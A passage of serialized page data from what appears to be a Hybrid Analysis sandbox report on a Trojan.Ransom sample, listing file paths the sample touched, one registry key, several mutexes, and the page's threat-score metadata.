Users\\{90140000-00A1-0409-0000-0000000FF1CE}-C\\OneNoteMUI.xml","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"path":"%SAMPLEDIR%\\MSOCache\\All Users\\{90140000-00A1-0409-0000-0000000FF1CE}-C\\OneNoteMUI.xml","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"path":"C:\\MSOCache\\All Users\\{90140000-00A1-0409-0000-0000000FF1CE}-C\\OnoteLR.cab","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"path":"%SAMPLEDIR%\\MSOCache\\All Users\\{90140000-00A1-0409-0000-0000000FF1CE}-C\\OnoteLR.cab","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"path":"C:\\MSOCache\\All Users\\{90140000-00A1-0409-0000-0000000FF1CE}-C\\Setup.xml","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"path":"%SAMPLEDIR%\\MSOCache\\All Users\\{90140000-00A1-0409-0000-0000000FF1CE}-C\\Setup.xml","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"path":"C:\\MSOCache\\All Users\\{90140000-0115-0409-0000-0000000FF1CE}-C\\branding.xml","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"path":"%SAMPLEDIR%\\MSOCache\\All Users\\{90140000-0115-0409-0000-0000000FF1CE}-C\\branding.xml","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"path":"C:\\MSOCache\\All Users\\{90140000-0115-0409-0000-0000000FF1CE}-C\\OfficeLR.cab","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"path":"%SAMPLEDIR%\\MSOCache\\All Users\\{90140000-0115-0409-0000-0000000FF1CE}-C\\OfficeLR.cab","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"path":"C:\\MSOCache\\All Users\\{90140000-0115-0409-0000-0000000FF1CE}-C\\OfficeMUI.xml","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"path":"%SAMPLEDIR%\\MSOCache\\All Users\\{90140000-0115-0409-0000-0000000FF1CE}-C\\OfficeMUI.xml","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"path":"C:\\MSOCache\\All Users\\{90140000-0115-0409-0000-0000000FF1CE}-C\\OfficeMUISet.xml","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"path":"%SAMPLEDIR%\\MSOCache\\All Users\\{90140000-0115-0409-0000-0000000FF1CE}-C\\OfficeMUISet.xml","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"path":"C:\\MSOCache\\All Users\\{90140000-0115-0409-0000-0000000FF1CE}-C\\pss10r.chm","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"path":"%SAMPLEDIR%\\MSOCache\\All Users\\{90140000-0115-0409-0000-0000000FF1CE}-C\\pss10r.chm","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"path":"C:\\MSOCache\\All Users\\{90140000-0115-0409-0000-0000000FF1CE}-C\\setup.chm","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"path":"%SAMPLEDIR%\\MSOCache\\All Users\\{90140000-0115-0409-0000-0000000FF1CE}-C\\setup.chm","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"path":"C:\\MSOCache\\All Users\\{90140000-0115-0409-0000-0000000FF1CE}-C\\Setup.xml","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"path":"%SAMPLEDIR%\\MSOCache\\All Users\\{90140000-0115-0409-0000-0000000FF1CE}-C\\Setup.xml","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"path":"%PROGRAMFILES%\\Adobe\\Reader 11.0\\Reader\\IDTemplates\\DEU\\AdobeID.pdf","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"path":"%PROGRAMFILES%\\Adobe\\Reader 11.0\\Reader\\IDTemplates\\DEU\\DefaultID.pdf","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"path":"%PROGRAMFILES%\\Adobe\\Reader 11.0\\Reader\\IDTemplates\\ENU\\AdobeID.pdf","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"path":"%PROGRAMFILES%\\Adobe\\Reader 11.0\\Reader\\IDTemplates\\ENU\\DefaultID.pdf","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"path":"%PROGRAMFILES%\\Adobe\\Reader 11.0\\Reader\\Legal\\DEU\\license.html","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"path":"%PROGRAMFILES%\\Adobe\\Reader 11.0\\Reader\\Legal\\ENU\\license.html","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"path":"%PROGRAMFILES%\\Adobe\\Reader 11.0\\Reader\\PDFSigQFormalRep.pdf","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"path":"%PROGRAMFILES%\\Adobe\\Reader 11.0\\Reader\\plug_ins\\Annotations\\Stamps\\DEU\\Dynamic.pdf","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"path":"%PROGRAMFILES%\\Adobe\\Reader 11.0\\Reader\\plug_ins\\Annotations\\Stamps\\DEU\\SignHere.pdf","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"path":"%PROGRAMFILES%\\Adobe\\Reader 11.0\\Reader\\plug_ins\\Annotations\\Stamps\\DEU\\StandardBusiness.pdf","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"path":"%PROGRAMFILES%\\Adobe\\Reader 11.0\\Reader\\plug_ins\\Annotations\\Stamps\\ENU\\Dynamic.pdf","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"path":"%PROGRAMFILES%\\Adobe\\Reader 11.0\\Reader\\plug_ins\\Annotations\\Stamps\\ENU\\SignHere.pdf","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"path":"%PROGRAMFILES%\\Adobe\\Reader 11.0\\Reader\\plug_ins\\Annotations\\Stamps\\ENU\\StandardBusiness.pdf","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"path":"%PROGRAMFILES%\\Adobe\\Reader 11.0\\Reader\\plug_ins\\Annotations\\Stamps\\Words.pdf","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"path":"%PROGRAMFILES%\\Adobe\\Reader 11.0\\Reader\\Services\\Services.cfg","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"path":"%PROGRAMFILES%\\Adobe\\Reader 11.0\\Reader\\Tracker\\add_reviewer.gif","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"path":"%PROGRAMFILES%\\Adobe\\Reader 11.0\\Reader\\Tracker\\bl.gif","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"path":"%PROGRAMFILES%\\Adobe\\Reader 11.0\\Reader\\Tracker\\br.gif","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"path":"%PROGRAMFILES%\\Adobe\\Reader 11.0\\Reader\\Tracker\\create_form.gif","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"path":"%PROGRAMFILES%\\Adobe\\Reader 11.0\\Reader\\Tracker\\distribute_form.gif","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"path":"%PROGRAMFILES%\\Adobe\\Reader 11.0\\Reader\\Tracker\\email_all.gif","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"path":"%PROGRAMFILES%\\Adobe\\Reader 11.0\\Reader\\Tracker\\email_initiator.gif","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"path":"%PROGRAMFILES%\\Adobe\\Reader 11.0\\Reader\\Tracker\\ended_review_or_form.gif","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"path":"%PROGRAMFILES%\\Adobe\\Reader 11.0\\Reader\\Tracker\\end_review.gif","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"path":"%PROGRAMFILES%\\Adobe\\Reader 11.0\\Reader\\Tracker\\forms_distributed.gif","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"path":"%PROGRAMFILES%\\Adobe\\Reader 11.0\\Reader\\Tracker\\forms_received.gif","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"path":"%PROGRAMFILES%\\Adobe\\Reader 11.0\\Reader\\Tracker\\forms_super.gif","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"path":"%PROGRAMFILES%\\Adobe\\Reader 11.0\\Reader\\Tracker\\form_responses.gif","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"path":"%PROGRAMFILES%\\Adobe\\Reader 11.0\\Reader\\Tracker\\info.gif","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"path":"%PROGRAMFILES%\\Adobe\\Reader 11.0\\Reader\\Tracker\\open_original_form.gif","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"path":"%PROGRAMFILES%\\Adobe\\Reader 11.0\\Reader\\Tracker\\pdf.gif","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"path":"%PROGRAMFILES%\\Adobe\\Reader 11.0\\Reader\\Tracker\\reviewers.gif","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"path":"%PROGRAMFILES%\\Adobe\\Reader 11.0\\Reader\\Tracker\\reviews_joined.gif","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"path":"%PROGRAMFILES%\\Adobe\\Reader 11.0\\Reader\\Tracker\\reviews_sent.gif","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"path":"%PROGRAMFILES%\\Adobe\\Reader 11.0\\Reader\\Tracker\\reviews_super.gif","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"path":"%PROGRAMFILES%\\Adobe\\Reader 11.0\\Reader\\Tracker\\review_browser.gif","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"path":"%PROGRAMFILES%\\Adobe\\Reader 11.0\\Reader\\Tracker\\review_email.gif","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"path":"%PROGRAMFILES%\\Adobe\\Reader 11.0\\Reader\\Tracker\\review_same_reviewers.gif","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"path":"%PROGRAMFILES%\\Adobe\\Reader 11.0\\Reader\\Tracker\\review_shared.gif","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"path":"%PROGRAMFILES%\\Adobe\\Reader 11.0\\Reader\\Tracker\\rss.gif","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"path":"%PROGRAMFILES%\\Adobe\\Reader 11.0\\Reader\\Tracker\\server_issue.gif","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"path":"%PROGRAMFILES%\\Adobe\\Reader 11.0\\Reader\\Tracker\\server_lg.gif","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"path":"%PROGRAMFILES%\\Adobe\\Reader 11.0\\Reader\\Tracker\\server_ok.gif","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"path":"%PROGRAMFILES%\\Adobe\\Reader 11.0\\Reader\\Tracker\\stop_collection_data.gif","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"path":"%PROGRAMFILES%\\Adobe\\Reader 11.0\\Reader\\Tracker\\submission_history.gif","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"path":"%PROGRAMFILES%\\Adobe\\Reader 11.0\\Reader\\Tracker\\tl.gif","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"path":"%PROGRAMFILES%\\Adobe\\Reader 11.0\\Reader\\Tracker\\tr.gif","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"path":"%PROGRAMFILES%\\Adobe\\Reader 11.0\\Reader\\Tracker\\trash.gif","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"path":"%PROGRAMFILES%\\Adobe\\Reader 11.0\\Reader\\Tracker\\turnOffNotificationInAcrobat.gif","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"path":"%PROGRAMFILES%\\Adobe\\Reader 11.0\\Reader\\Tracker\\turnOffNotificationInTray.gif","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"path":"%PROGRAMFILES%\\Adobe\\Reader 11.0\\Reader\\Tracker\\turnOnNotificationInAcrobat.gif","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"path":"%PROGRAMFILES%\\Adobe\\Reader 11.0\\Reader\\Tracker\\turnOnNotificationInTray.gif","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"path":"%PROGRAMFILES%\\Adobe\\Reader 11.0\\Reader\\Tracker\\warning.gif","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"path":"%PROGRAMFILES%\\Adobe\\Reader 11.0\\Resource\\ENUtxt.pdf","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"path":"%PROGRAMFILES%\\Adobe\\Reader 11.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Adobe\\symbol.txt","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"path":"%PROGRAMFILES%\\Adobe\\Reader 11.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Adobe\\zdingbat.txt","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"path":"%PROGRAMFILES%\\Adobe\\Reader 11.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\CENTEURO.TXT","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"path":"%PROGRAMFILES%\\Adobe\\Reader 11.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\CORPCHAR.TXT","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"path":"%PROGRAMFILES%\\Adobe\\Reader 11.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\CROATIAN.TXT","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"path":"%PROGRAMFILES%\\Adobe\\Reader 11.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\CYRILLIC.TXT","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"path":"%PROGRAMFILES%\\Adobe\\Reader 11.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\GREEK.TXT","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"path":"%PROGRAMFILES%\\Adobe\\Reader 11.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\ICELAND.TXT","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"path":"%PROGRAMFILES%\\Adobe\\Reader 11.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\ROMAN.TXT","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"path":"%PROGRAMFILES%\\Adobe\\Reader 11.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\ROMANIAN.TXT","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"path":"%PROGRAMFILES%\\Adobe\\Reader 11.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\SYMBOL.TXT","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"path":"%PROGRAMFILES%\\Adobe\\Reader 11.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\TURKISH.TXT","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"path":"%PROGRAMFILES%\\Adobe\\Reader 11.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\UKRAINE.TXT","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"path":"%PROGRAMFILES%\\Adobe\\Reader 11.0\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1250.TXT","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"path":"%PROGRAMFILES%\\Adobe\\Reader 11.0\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1251.TXT","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"path":"%PROGRAMFILES%\\Adobe\\Reader 11.0\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1252.TXT","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"path":"%PROGRAMFILES%\\Adobe\\Reader 11.0\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1253.TXT","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"path":"%PROGRAMFILES%\\Adobe\\Reader 11.0\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1254.TXT","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"path":"%PROGRAMFILES%\\Adobe\\Reader 11.0\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1257.TXT","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"path":"%PROGRAMFILES%\\Adobe\\Reader 11.0\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1258.TXT","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"path":"%PROGRAMFILES%\\Application Verifier\\REDIST.TXT","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"path":"%PROGRAMFILES%\\AutoIt3\\AutoIt.chm","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"path":"%PROGRAMFILES%\\AutoIt3\\AutoItX\\AutoItX.chm","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"path":"%PROGRAMFILES%\\AutoIt3\\AutoItX\\AutoItX3.Assembly.xml","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"path":"%PROGRAMFILES%\\AutoIt3\\AutoItX\\Examples\\C++\\_readme.txt","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"path":"%PROGRAMFILES%\\AutoIt3\\AutoItX\\Examples\\VBScript\\_readme.txt","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"path":"%PROGRAMFILES%\\AutoIt3\\Examples\\COM\\Worksheet.xls","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"path":"%PROGRAMFILES%\\AutoIt3\\Examples\\GUI\\Advanced\\Images\\Button.png","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"path":"%PROGRAMFILES%\\AutoIt3\\Examples\\GUI\\logo4.gif","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"path":"%PROGRAMFILES%\\AutoIt3\\Examples\\GUI\\merlin.gif","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"path":"%PROGRAMFILES%\\AutoIt3\\Examples\\GUI\\sampleAVI.avi","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"path":"%PROGRAMFILES%\\AutoIt3\\Examples\\GUI\\Torus.png","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]}],"files_deleted":null},"registry_activity":{"keys_created":[{"key":"HKLM\\SYSTEM\\CURRENTCONTROLSET\\SERVICES\\TCPIP\\PARAMETERS\\","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]}],"keys_modified":null,"keys_deleted":null},"mutex_activity":{"mutex_created":[{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCounterMutex","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZoneAttributeCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]}]}},"report_ids":{"sandbox_job_ids":["57cc3538aac2edc17a24c614"]}}}]]}] 1e:null 22:[["$","title","0",{"children":"Malicious Trojan.Ransom Sample d7cbf7c35c70… — Score 53/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sample d7cbf7c35c70…. Malware family: Trojan.Ransom. Threat score 53/100. 12/26 AV engines flagged this file. 1 malicious and 15 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/d7cbf7c35c703235788f854ff7997c0207104bbb6170a6ed4435dc9b426f78de"}],["$","meta","4",{"property":"og:title","content":"Malicious Trojan.Ransom Sample d7cbf7c35c70… — Score 53/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Malicious verdict for sample d7cbf7c35c70…. Malware family: Trojan.Ransom. Threat score 53/100. 12/26 AV engines flagged this file. 1 malicious and 15 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/d7cbf7c35c703235788f854ff7997c0207104bbb6170a6ed4435dc9b426f78de"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Malicious Trojan.Ransom Sample d7cbf7c35c70… — Score 53/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Malicious verdict for sample d7cbf7c35c70…. Malware family: Trojan.Ransom. Threat score 53/100. 12/26 AV engines flagged this file. 1 malicious and 15 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$L29","11",{}]]